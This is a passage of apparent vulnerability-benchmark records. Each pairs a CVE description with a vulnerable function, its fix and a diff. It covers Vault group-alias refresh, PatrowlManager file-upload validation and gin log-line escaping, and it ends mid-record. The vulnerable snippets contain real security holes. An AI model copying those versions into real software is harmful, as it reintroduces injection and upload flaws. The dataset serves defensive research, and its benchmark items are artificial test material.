logical.ErrInvalidRequest\n\t\t}\n\n\t\tlogInput := &logical.LogInput{\n\t\t\tAuth:               auth,\n\t\t\tRequest:            req,\n\t\t\tOuterErr:           ctErr,\n\t\t\tNonHMACReqDataKeys: nonHMACReqDataKeys,\n\t\t}\n\t\tif err := c.auditBroker.LogRequest(ctx, logInput, c.auditedHeaders); err != nil {\n\t\t\tc.logger.Error(\"failed to audit request\", \"path\", req.Path, \"error\", err)\n\t\t\treturn nil, nil, ErrInternalError\n\t\t}\n\n\t\tif errType != nil {\n\t\t\tretErr = multierror.Append(retErr, errType)\n\t\t}\n\t\tif ctErr == ErrInternalError {\n\t\t\treturn nil, auth, retErr\n\t\t}\n\t\treturn logical.ErrorResponse(ctErr.Error()), auth, retErr\n\t}\n\n\t// Create an audit trail of the request. Attach auth if it was returned,\n\t// e.g. if a token was provided.\n\tlogInput := &logical.LogInput{\n\t\tAuth:               auth,\n\t\tRequest:            req,\n\t\tNonHMACReqDataKeys: nonHMACReqDataKeys,\n\t}\n\tif err := c.auditBroker.LogRequest(ctx, logInput, c.auditedHeaders); err != nil {\n\t\tc.logger.Error(\"failed to audit request\", \"path\", req.Path, \"error\", err)\n\t\treturn nil, nil, ErrInternalError\n\t}\n\n\t// The token store uses authentication even when creating a new token,\n\t// so it's handled in handleRequest. It should not be reached here.\n\tif strings.HasPrefix(req.Path, \"auth/token/\") {\n\t\tc.logger.Error(\"unexpected login request for token backend\", \"request_path\", req.Path)\n\t\treturn nil, nil, ErrInternalError\n\t}\n\n\t// Route the request\n\tresp, routeErr := c.doRouting(ctx, req)\n\tif resp != nil {\n\t\t// If wrapping is used, use the shortest between the request and response\n\t\tvar wrapTTL time.Duration\n\t\tvar wrapFormat, creationPath string\n\t\tvar sealWrap bool\n\n\t\t// Ensure no wrap info information is set other than, possibly, the TTL\n\t\tif resp.WrapInfo != nil {\n\t\t\tif resp.WrapInfo.TTL > 0 {\n\t\t\t\twrapTTL = resp.WrapInfo.TTL\n\t\t\t}\n\t\t\twrapFormat = resp.WrapInfo.Format\n\t\t\tcreationPath = resp.WrapInfo.CreationPath\n\t\t\tsealWrap = resp.WrapInfo.SealWrap\n\t\t\tresp.WrapInfo = nil\n\t\t}\n\n\t\tif req.WrapInfo != nil {\n\t\t\tif req.WrapInfo.TTL > 0 {\n\t\t\t\tswitch {\n\t\t\t\tcase wrapTTL == 0:\n\t\t\t\t\twrapTTL = req.WrapInfo.TTL\n\t\t\t\tcase req.WrapInfo.TTL < wrapTTL:\n\t\t\t\t\twrapTTL = req.WrapInfo.TTL\n\t\t\t\t}\n\t\t\t}\n\t\t\tif req.WrapInfo.Format != \"\" && wrapFormat == \"\" {\n\t\t\t\twrapFormat = req.WrapInfo.Format\n\t\t\t}\n\t\t}\n\n\t\tif wrapTTL > 0 {\n\t\t\tresp.WrapInfo = &wrapping.ResponseWrapInfo{\n\t\t\t\tTTL:          wrapTTL,\n\t\t\t\tFormat:       wrapFormat,\n\t\t\t\tCreationPath: creationPath,\n\t\t\t\tSealWrap:     sealWrap,\n\t\t\t}\n\t\t}\n\t}\n\n\t// A login request should never return a secret!\n\tif resp != nil && resp.Secret != nil {\n\t\tc.logger.Error(\"unexpected Secret response for login path\", \"request_path\", req.Path)\n\t\treturn nil, nil, ErrInternalError\n\t}\n\n\t// If the response generated an authentication, then generate the token\n\tif resp != nil && resp.Auth != nil {\n\n\t\tvar entity *identity.Entity\n\t\tauth = resp.Auth\n\n\t\tmEntry := c.router.MatchingMountEntry(ctx, req.Path)\n\n\t\tif auth.Alias != nil &&\n\t\t\tmEntry != nil &&\n\t\t\t!mEntry.Local &&\n\t\t\tc.identityStore != nil {\n\t\t\t// Overwrite the mount type and mount path in the alias\n\t\t\t// information\n\t\t\tauth.Alias.MountType = req.MountType\n\t\t\tauth.Alias.MountAccessor = req.MountAccessor\n\n\t\t\tif auth.Alias.Name == \"\" {\n\t\t\t\treturn nil, nil, fmt.Errorf(\"missing name in alias\")\n\t\t\t}\n\n\t\t\tvar err error\n\n\t\t\t// Fetch the entity for the alias, or create an entity if one\n\t\t\t// doesn't exist.\n\t\t\tentity, err = c.identityStore.CreateOrFetchEntity(ctx, auth.Alias)\n\t\t\tif err != nil {\n\t\t\t\tentity, err = possiblyForwardAliasCreation(ctx, c, err, auth, entity)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, err\n\t\t\t}\n\t\t\tif entity == nil {\n\t\t\t\treturn nil, nil, fmt.Errorf(\"failed to create an entity for the authenticated alias\")\n\t\t\t}\n\n\t\t\tif entity.Disabled {\n\t\t\t\treturn nil, nil, logical.ErrPermissionDenied\n\t\t\t}\n\n\t\t\tauth.EntityID = entity.ID\n\t\t\tif auth.GroupAliases != nil {\n\t\t\t\tvalidAliases, err := c.identityStore.refreshExternalGroupMembershipsByEntityID(ctx, auth.EntityID, auth.GroupAliases)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, nil, err\n\t\t\t\t}\n\t\t\t\tauth.GroupAliases = validAliases\n\t\t\t}\n\t\t}\n\n\t\t// Determine the source of the login\n\t\tsource := c.router.MatchingMount(ctx, req.Path)\n\t\tsource = strings.TrimPrefix(source, credentialRoutePrefix)\n\t\tsource = strings.Replace(source, \"/\", \"-\", -1)\n\n\t\t// Prepend the source to the display name\n\t\tauth.DisplayName = strings.TrimSuffix(source+auth.DisplayName, \"-\")\n\n\t\tsysView := c.router.MatchingSystemView(ctx, req.Path)\n\t\tif sysView == nil {\n\t\t\tc.logger.Error(\"unable to look up sys view for login path\", \"request_path\", req.Path)\n\t\t\treturn nil, nil, ErrInternalError\n\t\t}\n\n\t\ttokenTTL, warnings, err := framework.CalculateTTL(sysView, 0, auth.TTL, auth.Period, auth.MaxTTL, auth.ExplicitMaxTTL, time.Time{})\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tfor _, warning := range warnings {\n\t\t\tresp.AddWarning(warning)\n\t\t}\n\n\t\tns, err := namespace.FromContext(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\t_, identityPolicies, err := c.fetchEntityAndDerivedPolicies(ctx, ns, auth.EntityID)\n\t\tif err != nil {\n\t\t\treturn nil, nil, ErrInternalError\n\t\t}\n\n\t\tauth.TokenPolicies = policyutil.SanitizePolicies(auth.Policies, !auth.NoDefaultPolicy)\n\t\tallPolicies := policyutil.SanitizePolicies(append(auth.TokenPolicies, identityPolicies[ns.ID]...), policyutil.DoNotAddDefaultPolicy)\n\n\t\t// Prevent internal policies from being assigned to tokens. We check\n\t\t// this on auth.Policies including derived ones from Identity before\n\t\t// actually making the token.\n\t\tfor _, policy := range allPolicies {\n\t\t\tif policy == \"root\" {\n\t\t\t\treturn logical.ErrorResponse(\"auth methods cannot create root tokens\"), nil, logical.ErrInvalidRequest\n\t\t\t}\n\t\t\tif strutil.StrListContains(nonAssignablePolicies, policy) {\n\t\t\t\treturn logical.ErrorResponse(fmt.Sprintf(\"cannot assign policy %q\", policy)), nil, logical.ErrInvalidRequest\n\t\t\t}\n\t\t}\n\n\t\tvar registerFunc RegisterAuthFunc\n\t\tvar funcGetErr error\n\t\t// Batch tokens should not be forwarded to perf standby\n\t\tif auth.TokenType == logical.TokenTypeBatch {\n\t\t\tregisterFunc = c.RegisterAuth\n\t\t} else {\n\t\t\tregisterFunc, funcGetErr = getAuthRegisterFunc(c)\n\t\t}\n\t\tif funcGetErr != nil {\n\t\t\tretErr = multierror.Append(retErr, funcGetErr)\n\t\t\treturn nil, auth, retErr\n\t\t}\n\n\t\terr = registerFunc(ctx, tokenTTL, req.Path, auth)\n\t\tswitch {\n\t\tcase err == nil:\n\t\tcase err == ErrInternalError:\n\t\t\treturn nil, auth, err\n\t\tdefault:\n\t\t\treturn logical.ErrorResponse(err.Error()), auth, logical.ErrInvalidRequest\n\t\t}\n\n\t\tauth.IdentityPolicies = policyutil.SanitizePolicies(identityPolicies[ns.ID], policyutil.DoNotAddDefaultPolicy)\n\t\tdelete(identityPolicies, ns.ID)\n\t\tauth.ExternalNamespacePolicies = identityPolicies\n\t\tauth.Policies = allPolicies\n\n\t\t// Attach the display name, might be used by audit backends\n\t\treq.DisplayName = auth.DisplayName\n\n\t}\n\n\treturn resp, auth, routeErr\n}"}], "fix_func": [{"id": "fix_go_174_1", "commit": "18485ee", "file_path": "vault/expiration.go", "start_line": 923, "end_line": 1034, "snippet": "func (m *ExpirationManager) RenewToken(ctx context.Context, req *logical.Request, te *logical.TokenEntry,\n\tincrement time.Duration) (*logical.Response, error) {\n\tdefer metrics.MeasureSince([]string{\"expire\", \"renew-token\"}, time.Now())\n\n\ttokenNS, err := NamespaceByID(ctx, te.NamespaceID, m.core)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif tokenNS == nil {\n\t\treturn nil, namespace.ErrNoNamespace\n\t}\n\n\tns, err := namespace.FromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif ns.ID != tokenNS.ID {\n\t\treturn nil, errors.New(\"cannot renew a token across namespaces\")\n\t}\n\n\t// Compute the Lease ID\n\tsaltedID, err := m.tokenStore.SaltID(ctx, te.ID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tleaseID := path.Join(te.Path, saltedID)\n\n\tif ns.ID != namespace.RootNamespaceID {\n\t\tleaseID = fmt.Sprintf(\"%s.%s\", leaseID, ns.ID)\n\t}\n\n\t// Load the entry\n\tle, err := m.loadEntry(ctx, leaseID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif le == nil {\n\t\treturn logical.ErrorResponse(\"invalid lease ID\"), logical.ErrInvalidRequest\n\t}\n\n\t// Check if the lease is renewable. Note that this also checks for a nil\n\t// lease and errors in that case as well.\n\tif _, err := le.renewable(); err != nil {\n\t\treturn logical.ErrorResponse(err.Error()), logical.ErrInvalidRequest\n\t}\n\n\t// Attempt to renew the auth entry\n\tresp, err := m.renewAuthEntry(ctx, req, le, increment)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp == nil {\n\t\treturn nil, nil\n\t}\n\tif resp.IsError() {\n\t\treturn &logical.Response{\n\t\t\tData: resp.Data,\n\t\t}, nil\n\t}\n\tif resp.Auth == nil {\n\t\treturn nil, nil\n\t}\n\n\tsysViewCtx := namespace.ContextWithNamespace(ctx, le.namespace)\n\tsysView := m.router.MatchingSystemView(sysViewCtx, le.Path)\n\tif sysView == nil {\n\t\treturn nil, fmt.Errorf(\"unable to retrieve system view from router\")\n\t}\n\n\tttl, warnings, err := framework.CalculateTTL(sysView, increment, resp.Auth.TTL, resp.Auth.Period, resp.Auth.MaxTTL, resp.Auth.ExplicitMaxTTL, le.IssueTime)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tretResp := &logical.Response{}\n\tfor _, warning := range warnings {\n\t\tretResp.AddWarning(warning)\n\t}\n\tresp.Auth.TTL = ttl\n\n\t// Attach the ClientToken\n\tresp.Auth.ClientToken = te.ID\n\n\t// Refresh groups\n\tif resp.Auth.EntityID != \"\" && m.core.identityStore != nil {\n\t\tvalidAliases, err := m.core.identityStore.refreshExternalGroupMembershipsByEntityID(ctx, resp.Auth.EntityID, resp.Auth.GroupAliases)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp.Auth.GroupAliases = validAliases\n\t}\n\n\t// Update the lease entry\n\tle.Auth = resp.Auth\n\tle.ExpireTime = resp.Auth.ExpirationTime()\n\tle.LastRenewalTime = time.Now()\n\n\t{\n\t\tm.pendingLock.Lock()\n\t\tif err := m.persistEntry(ctx, le); err != nil {\n\t\t\tm.pendingLock.Unlock()\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Update the expiration time\n\t\tm.updatePendingInternal(le, resp.Auth.LeaseTotal())\n\t\tm.pendingLock.Unlock()\n\t}\n\n\tretResp.Auth = resp.Auth\n\treturn retResp, nil\n}"}, {"id": "fix_go_174_2", "commit": "18485ee", "file_path": "vault/request_handling.go", "start_line": 919, "end_line": 1166, "snippet": "func (c *Core) handleLoginRequest(ctx context.Context, req *logical.Request) (retResp *logical.Response, retAuth *logical.Auth, retErr error) {\n\tdefer metrics.MeasureSince([]string{\"core\", \"handle_login_request\"}, time.Now())\n\n\treq.Unauthenticated = true\n\n\tvar nonHMACReqDataKeys []string\n\tentry := c.router.MatchingMountEntry(ctx, req.Path)\n\tif entry != nil {\n\t\t// Get and set ignored HMAC'd value.\n\t\tif rawVals, ok := entry.synthesizedConfigCache.Load(\"audit_non_hmac_request_keys\"); ok {\n\t\t\tnonHMACReqDataKeys = rawVals.([]string)\n\t\t}\n\t}\n\n\t// Do an unauth check. This will cause EGP policies to be checked\n\tvar auth *logical.Auth\n\tvar ctErr error\n\tauth, _, ctErr = c.checkToken(ctx, req, true)\n\tif ctErr == logical.ErrPerfStandbyPleaseForward {\n\t\treturn nil, nil, ctErr\n\t}\n\tif ctErr != nil {\n\t\t// If it is an internal error we return that, otherwise we\n\t\t// return invalid request so that the status codes can be correct\n\t\tvar errType error\n\t\tswitch ctErr {\n\t\tcase ErrInternalError, logical.ErrPermissionDenied:\n\t\t\terrType = ctErr\n\t\tdefault:\n\t\t\terrType = logical.ErrInvalidRequest\n\t\t}\n\n\t\tlogInput := &logical.LogInput{\n\t\t\tAuth:               auth,\n\t\t\tRequest:            req,\n\t\t\tOuterErr:           ctErr,\n\t\t\tNonHMACReqDataKeys: nonHMACReqDataKeys,\n\t\t}\n\t\tif err := c.auditBroker.LogRequest(ctx, logInput, c.auditedHeaders); err != nil {\n\t\t\tc.logger.Error(\"failed to audit request\", \"path\", req.Path, \"error\", err)\n\t\t\treturn nil, nil, ErrInternalError\n\t\t}\n\n\t\tif errType != nil {\n\t\t\tretErr = multierror.Append(retErr, errType)\n\t\t}\n\t\tif ctErr == ErrInternalError {\n\t\t\treturn nil, auth, retErr\n\t\t}\n\t\treturn logical.ErrorResponse(ctErr.Error()), auth, retErr\n\t}\n\n\t// Create an audit trail of the request. Attach auth if it was returned,\n\t// e.g. if a token was provided.\n\tlogInput := &logical.LogInput{\n\t\tAuth:               auth,\n\t\tRequest:            req,\n\t\tNonHMACReqDataKeys: nonHMACReqDataKeys,\n\t}\n\tif err := c.auditBroker.LogRequest(ctx, logInput, c.auditedHeaders); err != nil {\n\t\tc.logger.Error(\"failed to audit request\", \"path\", req.Path, \"error\", err)\n\t\treturn nil, nil, ErrInternalError\n\t}\n\n\t// The token store uses authentication even when creating a new token,\n\t// so it's handled in handleRequest. It should not be reached here.\n\tif strings.HasPrefix(req.Path, \"auth/token/\") {\n\t\tc.logger.Error(\"unexpected login request for token backend\", \"request_path\", req.Path)\n\t\treturn nil, nil, ErrInternalError\n\t}\n\n\t// Route the request\n\tresp, routeErr := c.doRouting(ctx, req)\n\tif resp != nil {\n\t\t// If wrapping is used, use the shortest between the request and response\n\t\tvar wrapTTL time.Duration\n\t\tvar wrapFormat, creationPath string\n\t\tvar sealWrap bool\n\n\t\t// Ensure no wrap info information is set other than, possibly, the TTL\n\t\tif resp.WrapInfo != nil {\n\t\t\tif resp.WrapInfo.TTL > 0 {\n\t\t\t\twrapTTL = resp.WrapInfo.TTL\n\t\t\t}\n\t\t\twrapFormat = resp.WrapInfo.Format\n\t\t\tcreationPath = resp.WrapInfo.CreationPath\n\t\t\tsealWrap = resp.WrapInfo.SealWrap\n\t\t\tresp.WrapInfo = nil\n\t\t}\n\n\t\tif req.WrapInfo != nil {\n\t\t\tif req.WrapInfo.TTL > 0 {\n\t\t\t\tswitch {\n\t\t\t\tcase wrapTTL == 0:\n\t\t\t\t\twrapTTL = req.WrapInfo.TTL\n\t\t\t\tcase req.WrapInfo.TTL < wrapTTL:\n\t\t\t\t\twrapTTL = req.WrapInfo.TTL\n\t\t\t\t}\n\t\t\t}\n\t\t\tif req.WrapInfo.Format != \"\" && wrapFormat == \"\" {\n\t\t\t\twrapFormat = req.WrapInfo.Format\n\t\t\t}\n\t\t}\n\n\t\tif wrapTTL > 0 {\n\t\t\tresp.WrapInfo = &wrapping.ResponseWrapInfo{\n\t\t\t\tTTL:          wrapTTL,\n\t\t\t\tFormat:       wrapFormat,\n\t\t\t\tCreationPath: creationPath,\n\t\t\t\tSealWrap:     sealWrap,\n\t\t\t}\n\t\t}\n\t}\n\n\t// A login request should never return a secret!\n\tif resp != nil && resp.Secret != nil {\n\t\tc.logger.Error(\"unexpected Secret response for login path\", \"request_path\", req.Path)\n\t\treturn nil, nil, ErrInternalError\n\t}\n\n\t// If the response generated an authentication, then generate the token\n\tif resp != nil && resp.Auth != nil {\n\n\t\tvar entity *identity.Entity\n\t\tauth = resp.Auth\n\n\t\tmEntry := c.router.MatchingMountEntry(ctx, req.Path)\n\n\t\tif auth.Alias != nil &&\n\t\t\tmEntry != nil &&\n\t\t\t!mEntry.Local &&\n\t\t\tc.identityStore != nil {\n\t\t\t// Overwrite the mount type and mount path in the alias\n\t\t\t// information\n\t\t\tauth.Alias.MountType = req.MountType\n\t\t\tauth.Alias.MountAccessor = req.MountAccessor\n\n\t\t\tif auth.Alias.Name == \"\" {\n\t\t\t\treturn nil, nil, fmt.Errorf(\"missing name in alias\")\n\t\t\t}\n\n\t\t\tvar err error\n\n\t\t\t// Fetch the entity for the alias, or create an entity if one\n\t\t\t// doesn't exist.\n\t\t\tentity, err = c.identityStore.CreateOrFetchEntity(ctx, auth.Alias)\n\t\t\tif err != nil {\n\t\t\t\tentity, err = possiblyForwardAliasCreation(ctx, c, err, auth, entity)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, err\n\t\t\t}\n\t\t\tif entity == nil {\n\t\t\t\treturn nil, nil, fmt.Errorf(\"failed to create an entity for the authenticated alias\")\n\t\t\t}\n\n\t\t\tif entity.Disabled {\n\t\t\t\treturn nil, nil, logical.ErrPermissionDenied\n\t\t\t}\n\n\t\t\tauth.EntityID = entity.ID\n\t\t\tvalidAliases, err := c.identityStore.refreshExternalGroupMembershipsByEntityID(ctx, auth.EntityID, auth.GroupAliases)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, err\n\t\t\t}\n\t\t\tauth.GroupAliases = validAliases\n\t\t}\n\n\t\t// Determine the source of the login\n\t\tsource := c.router.MatchingMount(ctx, req.Path)\n\t\tsource = strings.TrimPrefix(source, credentialRoutePrefix)\n\t\tsource = strings.Replace(source, \"/\", \"-\", -1)\n\n\t\t// Prepend the source to the display name\n\t\tauth.DisplayName = strings.TrimSuffix(source+auth.DisplayName, \"-\")\n\n\t\tsysView := c.router.MatchingSystemView(ctx, req.Path)\n\t\tif sysView == nil {\n\t\t\tc.logger.Error(\"unable to look up sys view for login path\", \"request_path\", req.Path)\n\t\t\treturn nil, nil, ErrInternalError\n\t\t}\n\n\t\ttokenTTL, warnings, err := framework.CalculateTTL(sysView, 0, auth.TTL, auth.Period, auth.MaxTTL, auth.ExplicitMaxTTL, time.Time{})\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tfor _, warning := range warnings {\n\t\t\tresp.AddWarning(warning)\n\t\t}\n\n\t\tns, err := namespace.FromContext(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\t_, identityPolicies, err := c.fetchEntityAndDerivedPolicies(ctx, ns, auth.EntityID)\n\t\tif err != nil {\n\t\t\treturn nil, nil, ErrInternalError\n\t\t}\n\n\t\tauth.TokenPolicies = policyutil.SanitizePolicies(auth.Policies, !auth.NoDefaultPolicy)\n\t\tallPolicies := policyutil.SanitizePolicies(append(auth.TokenPolicies, identityPolicies[ns.ID]...), policyutil.DoNotAddDefaultPolicy)\n\n\t\t// Prevent internal policies from being assigned to tokens. We check\n\t\t// this on auth.Policies including derived ones from Identity before\n\t\t// actually making the token.\n\t\tfor _, policy := range allPolicies {\n\t\t\tif policy == \"root\" {\n\t\t\t\treturn logical.ErrorResponse(\"auth methods cannot create root tokens\"), nil, logical.ErrInvalidRequest\n\t\t\t}\n\t\t\tif strutil.StrListContains(nonAssignablePolicies, policy) {\n\t\t\t\treturn logical.ErrorResponse(fmt.Sprintf(\"cannot assign policy %q\", policy)), nil, logical.ErrInvalidRequest\n\t\t\t}\n\t\t}\n\n\t\tvar registerFunc RegisterAuthFunc\n\t\tvar funcGetErr error\n\t\t// Batch tokens should not be forwarded to perf standby\n\t\tif auth.TokenType == logical.TokenTypeBatch {\n\t\t\tregisterFunc = c.RegisterAuth\n\t\t} else {\n\t\t\tregisterFunc, funcGetErr = getAuthRegisterFunc(c)\n\t\t}\n\t\tif funcGetErr != nil {\n\t\t\tretErr = multierror.Append(retErr, funcGetErr)\n\t\t\treturn nil, auth, retErr\n\t\t}\n\n\t\terr = registerFunc(ctx, tokenTTL, req.Path, auth)\n\t\tswitch {\n\t\tcase err == nil:\n\t\tcase err == ErrInternalError:\n\t\t\treturn nil, auth, err\n\t\tdefault:\n\t\t\treturn logical.ErrorResponse(err.Error()), auth, logical.ErrInvalidRequest\n\t\t}\n\n\t\tauth.IdentityPolicies = policyutil.SanitizePolicies(identityPolicies[ns.ID], policyutil.DoNotAddDefaultPolicy)\n\t\tdelete(identityPolicies, ns.ID)\n\t\tauth.ExternalNamespacePolicies = identityPolicies\n\t\tauth.Policies = allPolicies\n\n\t\t// Attach the display name, might be used by audit backends\n\t\treq.DisplayName = auth.DisplayName\n\n\t}\n\n\treturn resp, auth, routeErr\n}"}], "vul_patch": "--- a/vault/expiration.go\n+++ b/vault/expiration.go\n@@ -82,9 +82,7 @@\n \tresp.Auth.ClientToken = te.ID\n \n \t// Refresh groups\n-\tif resp.Auth.EntityID != \"\" &&\n-\t\tresp.Auth.GroupAliases != nil &&\n-\t\tm.core.identityStore != nil {\n+\tif resp.Auth.EntityID != \"\" && m.core.identityStore != nil {\n \t\tvalidAliases, err := m.core.identityStore.refreshExternalGroupMembershipsByEntityID(ctx, resp.Auth.EntityID, resp.Auth.GroupAliases)\n \t\tif err != nil {\n \t\t\treturn nil, err\n\n--- a/vault/request_handling.go\n+++ b/vault/request_handling.go\n@@ -159,13 +159,11 @@\n \t\t\t}\n \n \t\t\tauth.EntityID = entity.ID\n-\t\t\tif auth.GroupAliases != nil {\n-\t\t\t\tvalidAliases, err := c.identityStore.refreshExternalGroupMembershipsByEntityID(ctx, auth.EntityID, auth.GroupAliases)\n-\t\t\t\tif err != nil {\n-\t\t\t\t\treturn nil, nil, err\n-\t\t\t\t}\n-\t\t\t\tauth.GroupAliases = validAliases\n-\t\t\t}\n+\t\t\tvalidAliases, err := c.identityStore.refreshExternalGroupMembershipsByEntityID(ctx, auth.EntityID, auth.GroupAliases)\n+\t\t\tif err != nil {\n+\t\t\t\treturn nil, nil, err\n+\t\t\t}\n+\t\t\tauth.GroupAliases = validAliases\n \t\t}\n \n \t\t// Determine the source of the login\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-43829", "cve_description": "PatrOwl is a free and open-source solution for orchestrating Security Operations. In versions prior to 1.7.7 PatrowlManager unrestrictly handle upload files in the findings import feature. This vulnerability is capable of uploading dangerous type of file to server leading to XSS attacks and potentially other forms of code injection. Users are advised to update to 1.7.7 as soon as possible. There are no known workarounds for this issue.", "cwe_info": {"CWE-434": {"name": "Unrestricted Upload of File with Dangerous Type", "description": "The product allows the upload or transfer of dangerous file types that are automatically processed within its environment."}}, "repo": "https://github.com/Patrowl/PatrowlManager", "patch_url": ["https://github.com/Patrowl/PatrowlManager/commit/2287c9715d2e7ef11b44bb0ad4a57727654f2203"], "programing_language": "Python", "vul_func": [{"id": "vul_py_161_1", "commit": "bafc9bb", "file_path": "findings/forms.py", "start_line": 12, "end_line": 23, "snippet": "class ImportFindingsForm(forms.Form):\n    class Meta:\n        fields = ['engine', 'min_level', 'file']\n\n    engine = forms.CharField(widget=forms.Select(\n        attrs={'class': 'form-control form-control-sm'},\n        choices=ENGINE_TYPES))\n    min_level = forms.CharField(widget=forms.Select(\n        attrs={'class': 'form-control form-control-sm'},\n        choices=FINDING_SEVERITIES),\n        label='Minimum severity')\n    file = forms.FileField()"}], "fix_func": [{"id": "fix_py_161_1", "commit": "2287c97", "file_path": "findings/forms.py", "start_line": 13, "end_line": 34, "snippet": "def validate_file_extension(value):\n    ext = os.path.splitext(value.name)[1]\n    valid_extensions = ['.xml', '.nessus', '.json']\n    if ext not in valid_extensions:\n        raise ValidationError(u'File not supported!')\n\n\nclass ImportFindingsForm(forms.Form):\n    class Meta:\n        fields = ['engine', 'min_level', 'file']\n\n    engine = forms.CharField(widget=forms.Select(\n        attrs={'class': 'form-control form-control-sm'},\n        choices=ENGINE_TYPES))\n    min_level = forms.CharField(widget=forms.Select(\n        attrs={'class': 'form-control form-control-sm'},\n        choices=FINDING_SEVERITIES),\n        label='Minimum severity')\n    file = forms.FileField(widget=forms.FileInput(\n        attrs={'accept': 'text/xml,application/json'}),\n        validators=[validate_file_extension]\n    )"}], "vul_patch": "--- a/findings/forms.py\n+++ b/findings/forms.py\n@@ -1,3 +1,10 @@\n+def validate_file_extension(value):\n+    ext = os.path.splitext(value.name)[1]\n+    valid_extensions = ['.xml', '.nessus', '.json']\n+    if ext not in valid_extensions:\n+        raise ValidationError(u'File not supported!')\n+\n+\n class ImportFindingsForm(forms.Form):\n     class Meta:\n         fields = ['engine', 'min_level', 'file']\n@@ -9,4 +16,7 @@\n         attrs={'class': 'form-control form-control-sm'},\n         choices=FINDING_SEVERITIES),\n         label='Minimum severity')\n-    file = forms.FileField()\n+    file = forms.FileField(widget=forms.FileInput(\n+        attrs={'accept': 'text/xml,application/json'}),\n+        validators=[validate_file_extension]\n+    )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-36567", "cve_description": "Unsanitized input in the default logger in github.com/gin-gonic/gin before v1.6.0 allows remote attackers to inject arbitrary log lines.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/gin-gonic/gin", "patch_url": ["https://github.com/gin-gonic/gin/commit/a71af9c144f9579f6dbe945341c1df37aaf09c0d"], "programing_language": "Go", "vul_func": [{"id": "vul_go_203_1", "commit": "1d055af", "file_path": "logger.go", "start_line": 131, "end_line": 153, "snippet": "// defaultLogFormatter is the default log format function Logger middleware uses.\nvar defaultLogFormatter = func(param LogFormatterParams) string {\n\tvar statusColor, methodColor, resetColor string\n\tif param.IsOutputColor() {\n\t\tstatusColor = param.StatusCodeColor()\n\t\tmethodColor = param.MethodColor()\n\t\tresetColor = param.ResetColor()\n\t}\n\n\tif param.Latency > time.Minute {\n\t\t// Truncate in a golang < 1.8 safe way\n\t\tparam.Latency = param.Latency - param.Latency%time.Second\n\t}\n\treturn fmt.Sprintf(\"[GIN] %v |%s %3d %s| %13v | %15s |%s %-7s %s %s\\n%s\",\n\t\tparam.TimeStamp.Format(\"2006/01/02 - 15:04:05\"),\n\t\tstatusColor, param.StatusCode, resetColor,\n\t\tparam.Latency,\n\t\tparam.ClientIP,\n\t\tmethodColor, param.Method, resetColor,\n\t\tparam.Path,\n\t\tparam.ErrorMessage,\n\t)\n}"}], "fix_func": [{"id": "fix_go_203_1", "commit": "a71af9c144f9579f6dbe945341c1df37aaf09c0d", "file_path": "logger.go", "start_line": 131, "end_line": 153, "snippet": "// defaultLogFormatter is the default log format function Logger middleware uses.\nvar defaultLogFormatter = func(param LogFormatterParams) string {\n\tvar statusColor, methodColor, resetColor string\n\tif param.IsOutputColor() {\n\t\tstatusColor = param.StatusCodeColor()\n\t\tmethodColor = param.MethodColor()\n\t\tresetColor = param.ResetColor()\n\t}\n\n\tif param.Latency > time.Minute {\n\t\t// Truncate in a golang < 1.8 safe way\n\t\tparam.Latency = param.Latency - param.Latency%time.Second\n\t}\n\treturn fmt.Sprintf(\"[GIN] %v |%s %3d %s| %13v | %15s |%s %-7s %s %#v\\n%s\",\n\t\tparam.TimeStamp.Format(\"2006/01/02 - 15:04:05\"),\n\t\tstatusColor, param.StatusCode, resetColor,\n\t\tparam.Latency,\n\t\tparam.ClientIP,\n\t\tmethodColor, param.Method, resetColor,\n\t\tparam.Path,\n\t\tparam.ErrorMessage,\n\t)\n}"}], "vul_patch": "--- a/logger.go\n+++ b/logger.go\n@@ -11,7 +11,7 @@\n \t\t// Truncate in a golang < 1.8 safe way\n \t\tparam.Latency = param.Latency - param.Latency%time.Second\n \t}\n-\treturn fmt.Sprintf(\"[GIN] %v |%s %3d %s| %13v | %15s |%s %-7s %s %s\\n%s\",\n+\treturn fmt.Sprintf(\"[GIN] %v |%s %3d %s| %13v | %15s |%s %-7s %s %#v\\n%s\",\n \t\tparam.TimeStamp.Format(\"2006/01/02 - 15:04:05\"),\n \t\tstatusColor, param.StatusCode, resetColor,\n \t\tparam.Latency,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-7982", "cve_description": null, "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": 